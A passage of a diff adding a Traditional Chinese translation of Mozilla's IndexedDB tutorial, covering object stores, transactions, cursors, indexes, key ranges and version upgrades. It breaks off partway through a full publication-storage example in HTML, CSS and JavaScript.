+<p>升級版本資料庫建立會觸發onupgradeneeded事件，這個時候資料庫裡面已經含有前版本下的物件存檔，所以說不需要再次建立這些物件存檔了，剩下的是新增或刪除物件存檔。如果想要更動既存物件存檔(例如改變資料鍵路徑)，那麼會需要先刪除舊的再產生一個新的(請注意這也會刪除物件存檔裡的資料，所以如果資料需要保留的話，請在升級前先讀出資料備份。)</p>
+<p>Webkit支援最新標準不過只有Chrome 23才開始導入，而較舊不支援最新版標準的版本則不支援indexedDB.open(name, version).onupgradeneeded。關於如何在舊版標準下升級資料庫版本請參考<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBDatabase?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBDatabase#setVersion%28%29_.0A.0ADeprecated">"IDBDatabase參考文章"</a>。</p>
+<h3 id="結構化資料庫">結構化資料庫</h3>
+<p>indexedDB不用資料表而是物件存檔，物件存檔可以有很多。一筆物件存檔裡的資料值對應一筆資料鍵，依據使用{資料鍵路徑(<a href="/en/IndexedDB#gloss_key_path" title="https://developer.mozilla.org/en/IndexedDB#gloss_key_path">key path</a>)}或{資料鍵產生器(<a href="/en/IndexedDB#gloss_key_generator" title="en/IndexedDB#gloss key generator">key generator</a>)}。</p>
+<p>下表列出資料建各類產生途徑:</p>
+<table class="standard-table" style="">
+ <thead>
+  <tr>
+   <th scope="col">Key Path</th>
+   <th scope="col">Key Generator</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>No</td>
+   <td>No</td>
+   <td>物件存檔資料值能為任何型別，即使像數字或字串。每當新增一筆資料，必須提供不同的資料鍵。</td>
+  </tr>
+  <tr>
+   <td>Yes</td>
+   <td>No</td>
+   <td>物件存檔資料值僅能為Javacript物件，而該資料物件必須含有和資料鍵路徑相同名稱之屬性成員。</td>
+  </tr>
+  <tr>
+   <td>No</td>
+   <td>Yes</td>
+   <td>物件存檔資料值能為任何型別，資料鍵自動產生，但如果想要指定資料鍵也可以另外提供資料鍵。</td>
+  </tr>
+  <tr>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>物件存檔資料值僅能為Javascript物件。通常被產生的新資料鍵的值會被存在物件屬性名稱和資料鍵路徑名稱相同的物件屬性下，如果這個屬性已經存在，這個已經存在之屬性之值將被用作為資料鍵，而非新產生的資料鍵。</td>
+  </tr>
+ </tbody>
+</table>
+<p>我們可以替任何儲存資料為物件型態而非原始資料型態的物件存檔建立索引，索引讓我們能夠用物件存檔中資料物件內的某一個屬性值查找資料，而非僅僅物件的資料鍵。</p>
+<p>除此之外，利用索引還可以施加簡單的儲存限制；建立索引時設定獨特旗標(flag)，這個索引保證在此索引資料鍵下不會存在兩個物件存檔擁有同樣資料值，比如說現在有一個存放許多使用者的物件存檔，而且我們希望保證不會存在有兩個使用者的電子郵件地址一樣，此使索引的獨特旗標便可以幫助我們達成目標。</p>
+<p>以上聽起來可能會有些複雜，請看一下下面的實例:</p>
+<pre class="brush: js">// This is what our customer data looks like.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Handle errors.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Create an objectStore to hold information about our customers. We're
+  // going to use "ssn" as our key path because it's guaranteed to be
+  // unique.
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Create an index to search customers by name. We may have duplicates
+  // so we can't use a unique index.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Create an index to search customers by email. We want to ensure that
+  // no two customers have the same email, so use a unique index.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Store values in the newly created objectStore.
+  for (var i in customerData) {
+    objectStore.add(customerData[i]);
+  }
+};
+</pre>
+<p>請注意onupgradeneeded事件是唯一能夠變更資料庫結構之處，在此事件才能建立或刪除物件存檔以及建立和刪除索引。</p>
+<div>
+ 呼叫<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBDatabase?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBDatabase#setVersion%28%29_.0A.0ADeprecated">IDBDatabase</a>類別物件的createObjectStore方法會立刻創造一個物件存檔，這個方法接收兩個參數，一個是物件存檔名稱，一個是非必填的參數物件，雖然參數物件不為必填但是卻相當重要，因為它讓我們定義了一些重要屬性(請參考<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBDatabase?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBDatabase#createObjectStore">createObjectStore</a>)。本例中我們要求建立了一個"customer"物件存檔，定義"ssn"屬性為資料件路徑，使用"ssn"作為資料鍵路徑是因為每個客戶的ssn碼一定是獨立的。一旦決定了"ssn"作為資料鍵路徑，那麼每一筆資料一定要含有"ssn"。</div>
+<p>本例還創建一個稱為"name"的索引，"name"索引查找目標為資料的"name"屬性，且不設立其獨特旗標(unique為false)，同樣地，我們又呼叫<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBObjectStore#createIndex()">createIndex</a>方法創建了一個"email"索引，不過"email"索引具備獨特旗標(unique為true)。雖然存在"name"索引，但資料不一定要含有"name"屬性，只是當搜索"name"索引時資料不會出現。</p>
+<p>接下來我們可以開始用ssn從物件存檔中取出資料，或是用索引找出資料(請參考<a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Using_IndexedDB#.E4.BD.BF.E7.94.A8.E7.B4.A2.E5.BC.95">使用索引</a>)。</p>
+<h3 id="使用資料鍵產生器">使用資料鍵產生器</h3>
+<p>當建立物件存檔時設定autoIncrement旗標為ture將啟動資料鍵產生器，預設上該旗標為false。</p>
+<p>有了資料鍵產生器，當新增資料到物件存檔中，資料鍵產生器會自動幫我們產生資料鍵。資料鍵產生器產生的資料鍵由整數1開始，而基本上新產生的資料鍵是由前一個資料鍵加1產生。資料鍵的產生不會因為資料刪除或清空所有資料而重新開始起算，所以資料鍵值是一直累加上去的，除非資料庫操作中斷，整個交易作業被取消。</p>
+<p>我們可以建立一個有資料鍵產生器的物件存檔如下:</p>
+<pre class="brush: js">// Open the indexedDB.
+var request = indexedDB.open(dbName, 3);
+
+request.onupgradeneeded = function (event) {
+    var db = event.target.result;
+
+    // Create another object store called "names" with the autoIncrement flag set as true.
+    var objStore = db.createObjectStore("names", { autoIncrement : true });
+
+    // Because the "names" object store has the key generator, the key for the name value is generated automatically.
+    // The added records would be like:
+    // key : 1 =&gt; value : "Bill"
+    // key : 2 =&gt; value : "Donna"
+    for (var i in customerData) {
+        objStore.add(customerData[i].name);
+    }
+}</pre>
+<p>關於資料鍵產生器細節，請參考<a href="http://www.w3.org/TR/IndexedDB/#key-generator-concept">"W3C Key Generators"</a>。</p>
+<h2 id="新增和刪除資料">新增和刪除資料</h2>
+<p>在操作資料庫之前必須要先進行交易，交易來自資料庫物件，在交易中要指定涵蓋物件存檔範圍，然後也要決定是要變更資料庫或純粹讀取資料。交易共有三種種類，分別是讀取(read-only)，讀寫(read/write), 以及版本變更(versionchange)，如果只需要讀資料最好只使用讀取(read-only)交易，因為讀取(read-only)交易可以多重同步進行。</p>
+<h3 id="新增資料到資料庫">新增資料到資料庫</h3>
+<p>創建資料庫後，如果要寫入資料請這麼做:</p>
+<pre class="brush:js;">var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can just write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);</pre>
+<p>呼叫<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBDatabase#transaction">transaction()</a>方法會回傳一個交易物件。transaction()第一個接受參數代表交易涵蓋的物件存檔，雖然傳入空陣列會讓交易涵蓋所有物件存檔，但請不要這麼做，因為根據正式標準傳入空陣列應該要導致InvalidAccessError錯誤；第二個參數代表交易種類，不傳入的話預設為讀取交易，本例要寫入資料庫所以傳入讀寫("readwrite")。</p>
+<p>交易的生命週期和事件循環關係密切。當我們發起交易又回到事件循環中後，如果忽略，那麼交易將轉成結束，唯一保持交易存活的方法是在交易上發出請求；當請求完成後我們會收到DOM事件，假設請求結果成功，我們可以在事件的回呼函數(callback中)繼續進行交易，反之，如果我們沒有繼續進行交易，那麼交易將結束，也就是說只要尚有未完成請求的話，交易就會繼續存活，如果收到TRANSACTION_INACTIVE_ERR錯誤那便意謂著交易早已結束，我們錯過了繼續進行交易的機會。</p>
+<p>交易能收到三種事件: 錯誤(error)、中斷(abort)以及完成(complete)，其中錯誤事件會向上傳遞，所以任何一個交易下轄的請求產生錯誤事件，該交易都會收到。如果交易收到錯誤事件時，瀏覽器預設行為會中斷交易，除非我們有在錯誤事件上呼叫preventDefault()阻擋瀏覽器預設行動，否則整筆交易都將取消、復原，這樣的設計告訴我們必須要思考如何處裡錯誤，或者說如果對每一個錯誤進行處裡過於麻煩，那麼至少加入一個概括性的錯誤處理器也是可以。只要不處裡錯誤或呼叫abort()，交易將取消、復原，然後中斷事件接著觸發，反之，當所有請求都完成後，我們會收到一個完成事件，所以說如果我們同時發起多項請求時，可以只追蹤單一交易而非個別請求，這樣會大大減輕我們的負擔。</p>
+<p>有了交易之後便能夠從中取得物件存檔，有了物件存檔便能夠新增資料(請注意唯有在建立交易時指定的物件存檔能夠取得)。</p>
+<pre class="brush: js">// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn;
+  };
+}</pre>
+<p>呼叫<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore#add()">add</a>方法可以加入一筆新資料，呼叫後會回傳一個<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBRequest?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBRequest">IDBRequest</a>物件，即為上方範例中的request，如果新增成功，request的成功事件會被觸發，而成功事件物件中有一個result屬性，這個result值剛好就等於新資料的資料鍵，所以說上方範例中的event.target.result剛好就等於顧客的ssn值(因為我們用ssn屬性作為資料鍵路徑)。請注意add方法只在當物件存檔中沒有相同資料鍵資料存在時有用，如果想要更動或是直接覆蓋現存資料請呼叫<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore#put()">put</a>方法。</p>
+<h2 id="移除資料">移除資料</h2>
+<p>移除資料十分容易:</p>
+<pre class="brush: js">var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // It's gone!
+};</pre>
+<h2 id="讀取資料">讀取資料</h2>
+<p>要圖取資料庫內的資料有數種途徑，第一個最簡單的途徑就是提供資料鍵，呼叫<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore#get()">get</a>方法取得資料:</p>
+<pre class="brush: js">var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};</pre>
+<p>假設我們把錯誤處理放在資料庫層級，我們可以再縮短上面的程式碼如下:</p>
+<pre class="brush: js">db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};</pre>
+<p>呼叫transcation方法而不指定模式會開啟讀取(readonly)模式，接著取得我們的目標物件存檔，輸入目標資料的資料鍵，呼叫get方法取得請求物件，然後在請求物件上註冊成功事件處理器，當作業成功後，成功事件會觸發，成功事件的物件中含有請求物件(event.target如上述範例)，請求物件中含有請求結果(event.target.result如上述範例)。</p>
+<h2 id="使用指標(Cursor)">使用指標(Cursor)</h2>
+<p>使用get方法需要知道資料鍵，如果想要一一存取物件存檔中的資料，我們可以利用指標:</p>
+<pre class="brush: js">var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};</pre>
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore#openCursor()">openCursor</a>方法第一個參數用來接受資料鍵範圍物件來限制存取資料範圍，第二個參數用來指定存取進行方向，像上面的範例程式便是以資料鍵由小到大之方向存取資料；呼叫openCursor方法後一樣會回傳一個請求物件，成功時成功事件會觸發，不過這裡有些地方要特別注意，當成功事件處裡函數被喚起時，指標物件(cursor)會存放在result屬性內(亦即上述event.target.result)，cursor物件下有兩個屬性，key屬性是資料鍵，value屬性是資料值，如果要取得下一份資料就呼叫cursor的continue()方法，然後cursor物件就會指向下一份資料，當沒有資料時，cursor會是undefined，當請求一開始便找沒有資料，result屬性也會是undefined。</p>
+<p>以下用cursor存取一遍資料後放在陣列中的作法相當常見:</p>
+<pre class="brush: js">var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};</pre>
+<div class="warning">
+ <strong>Warning:</strong> 以下範例不是IndexedDB標準!</div>
+<p>Mozilla瀏覽器自己做了一個getAll()方法來方便一次取得所有cursor下的資料值，這個方法相當方便，不過請小心未來它有可能會消失。以下程式碼的效果和上面的一樣:</p>
+<pre class="brush: js">objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};</pre>
+<p>一一檢查cursor的value屬性較不利性能表現，因為物件是被動一一建立，然而呼叫getAll()，Gecko一定要一次建立所有物件，所以如果想要一次取得所有物件的資料值陣列使用getAll()比較好，如果想要一一檢查每筆資料則請利用cursor的方法。</p>
+<h3 id="使用索引">使用索引</h3>
+<p>利用一定唯一的ssn碼作為資料鍵相當合乎邏輯(隱私權的問題先擱置一放，不在本文探討範圍)。不過當我們想要查詢使用者的名字的時候，如果沒有索引就需要一一檢查每一筆資料，十分沒有效率，所以我們可以建立name的索引。</p>
+<pre class="brush: js">var index = objectStore.index("name");
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};</pre>
+<p>因為name不是唯一值，所以可能會有多筆資料符合"Donna"名字，此時呼叫get()會取得資料鍵最小值的資料。</p>
+<p>如果我們想要查看特定名字下所有的資料，可以利用cursor。有兩種cursor能用在索引上，第一種一般cursor會比對索引值並回傳整份資料(物件存檔中的物件)，第二種資料鍵cursor則只會回傳資料鍵值，請參考下方範例比較兩者差異:</p>
+<pre class="brush: js">index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+    // No way to directly get the rest of the stored object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value);
+    cursor.continue();
+  }
+};</pre>
+<h3 id="設定指標查詢範圍和方向">設定指標查詢範圍和方向</h3>
+<p>如果想要限定指標查詢範圍，那麼在乎叫openCursor()或openKeyCursor()時第一個參數要傳入<a href="https://developer.mozilla.org/en/IndexedDB/IDBKeyRange">IDBKeyRange</a>物件以限制範圍。IDBKeyRange物件能夠只聚焦在單一資料鍵上或者一段上下限區間；上下限區間可以是封閉(含界限)或開放(不含界限)，請看以下範例:</p>
+<pre class="brush: js">// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+// Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the matches.
+    cursor.continue();
+  }
+};</pre>
+<p>有時候我們會想要由大到小查看資料而非預設由小到大方向，傳入第二個"prev"字串便能做到:</p>
+<pre class="brush: js">objectStore.openCursor(null, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+<p>由於"name"索引不具唯一性，所以一個名字下可能會出現多筆資料，此時如果想要避開這多筆資料，請傳入"nextunique"或"prevunique"做為第二個方向參數，當傳入之後，如一個名字下遇到多筆資料，則只有資料鍵最小的資料會被回傳。</p>
+<pre class="brush: js">index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+<p>關於可傳入的方向參數，請參考<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBCursor?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBCursor#Constants">IDBCursor</a>常數。</p>
+<h2 id="當網頁應用程式於瀏覽器另一個分頁開啟時變更版本">當網頁應用程式於瀏覽器另一個分頁開啟時變更版本</h2>
+<p>請思考以下狀況: 使用者在第一個瀏覽器分頁中使用著舊版本，然後使用者又打開第二個分頁載入網頁，此時我們在新分頁需要對資料庫進行升級，所以呼叫open()以更新版本開啟資料庫，但是由於第一個瀏覽器分頁並沒有關閉資料庫，因此第二個分頁的資料庫升級作業會被擋住。所以我們需要注意多個分頁同時開啟的狀況，每個分頁都得注意當發生資料庫升級事件時，要記得關閉資料庫，讓資料庫升級作業得以進行。實際作法如下:</p>
+<pre class="brush: js">var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // If some other tab is loaded with the database, then it needs to be closed
+  // before we can proceed.
+  alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // All other databases have been closed. Set everything up.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Make sure to add a handler to be notified if another page requests a version
+  // change. We must close the database. This allows the other page to upgrade the database.
+  // If you don't do this then the upgrade won't happen until the user closes the tab.
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  // Do stuff with the database.
+}
+</pre>
+<h2 id="安全性">安全性</h2>
+<p>IndexedDB遵守<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">同源政策</a>，所以它綁定創建它的來源網站，其他來源網站無法存取。<br>
+ 就像對載入{{ HTMLElement("frame") }}和{{ HTMLElement("iframe") }}網頁的第三方cookie所設下的安全性和隱私權考量限制，IndexedDB無法在載入{{ HTMLElement("frame") }}和{{ HTMLElement("iframe") }}網頁上運作，詳情請見{{ bug(595307) }}。</p>
+<h2 id="瀏覽器關閉風險">瀏覽器關閉風險</h2>
+<p>當瀏覽器關閉，例如使用者按下關閉鈕，任何未完成IndexedDB交易都將默默中止，這些交易不會完成，錯誤事件也不會觸發。既然瀏覽器可能隨時被關閉，我們無法完全指望任何特定交易一定會完成，或是依賴錯誤事件做出相應處理，針對這種狀況，我們需要注意:</p>
+<p>第一、每一筆交易結束後都應該要保持資料庫完整性，例如說，有一串使用者編輯項目清單正要存入資料庫，我們如果先在一個交易中清除舊清單，然後在另一個交易中存入新清單，那就會面臨到清除完就清單後，新清單存入交易還來不及回存，瀏覽器就關閉的風險，而這個時候資料庫裡面的清單資料將消失。所以比較好的做法應該是在同一筆交易中完成清除舊清單和存入新清單。</p>
+<p>第二、永遠不要在unload事件中執行資料庫交易，因為如果unload事件是觸發在瀏覽器關閉下，任何資料庫交易都不會發生，或許，瀏覽器(或分頁)打開時讀取資料庫，更新資料庫當使用者編輯資料，當瀏覽器(或分頁)關閉時儲存資料這樣的做法比較直覺，不過資料庫的操作是非同步進行地，所以瀏覽器關閉的執行會在資料庫操作前發生，進而中斷後續非同步的資料庫交易，所以在unload事件中執行資料庫交易是行不通地。</p>
+<p>事實上不論瀏覽器是否正常關閉，都沒有任何方法保證IndexedDB交易能夠順利完成，請見{{ bug(870645) }}。</p>
+<h2 id="Full_IndexedDB_example" name="Full_IndexedDB_example">完整IndexedDB範例</h2>
+<h3 id="HTML">HTML</h3>
+<pre class="brush: html">&lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt;
+
+    &lt;h1&gt;IndexedDB Demo: storing blobs, e-publication example&lt;/h1&gt;
+    &lt;div class="note"&gt;
+      &lt;p&gt;
+        Works and tested with:
+      &lt;/p&gt;
+      &lt;div id="compat"&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="msg"&gt;
+    &lt;/div&gt;
+
+    &lt;form id="register-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-title" class="required"&gt;
+                Title:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-title" name="pub-title" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid" class="required"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid" name="pub-biblioid"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-year"&gt;
+                Year:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="number" id="pub-year" name="pub-year" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file"&gt;
+                File image:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="file" id="pub-file"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file-url"&gt;
+                Online-file image URL:&lt;br/&gt;
+                &lt;span class="note"&gt;(same origin URL)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-file-url" name="pub-file-url"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="add-button" value="Add Publication" /&gt;
+        &lt;input type="reset" id="register-form-reset"/&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="delete-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid-to-delete"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="key-to-delete"&gt;
+                Key:&lt;br/&gt;
+                &lt;span class="note"&gt;(for example 1, 2, 3, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="key-to-delete"
+                     name="key-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="delete-button" value="Delete Publication" /&gt;
+        &lt;input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="search-form"&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="search-list-button"
+               value="List database content" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;div&gt;
+      &lt;div id="pub-msg"&gt;
+      &lt;/div&gt;
+      &lt;div id="pub-viewer"&gt;
+      &lt;/div&gt;
+      &lt;ul id="pub-list"&gt;
+      &lt;/ul&gt;
+    &lt;/div&gt;
+</pre>
+<h3 id="CSS">CSS</h3>
+<pre class="brush: css">body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+</pre>
+<p> </p>
+<h3 id="JavaScript">JavaScript</h3>
+<pre class="brush: js">(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', "&gt;= 16.0"],
+    ['Google Chrome',
+     "&gt;= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('&lt;ul id="compat-list"&gt;&lt;/ul&gt;');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('&lt;li&gt;' + val[0] + ': ' + val[1] + '&lt;/li&gt;');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid uselessly reloading it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+      console.log("openDb.onupgradeneeded");
+      var store = evt.currentTarget.result.createObjectStore(
+        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+      store.createIndex('biblioid', 'biblioid', { unique: true });
+      store.createIndex('title', 'title', { unique: false });
+      store.createIndex('year', 'year', { unique: false });
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Resetting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
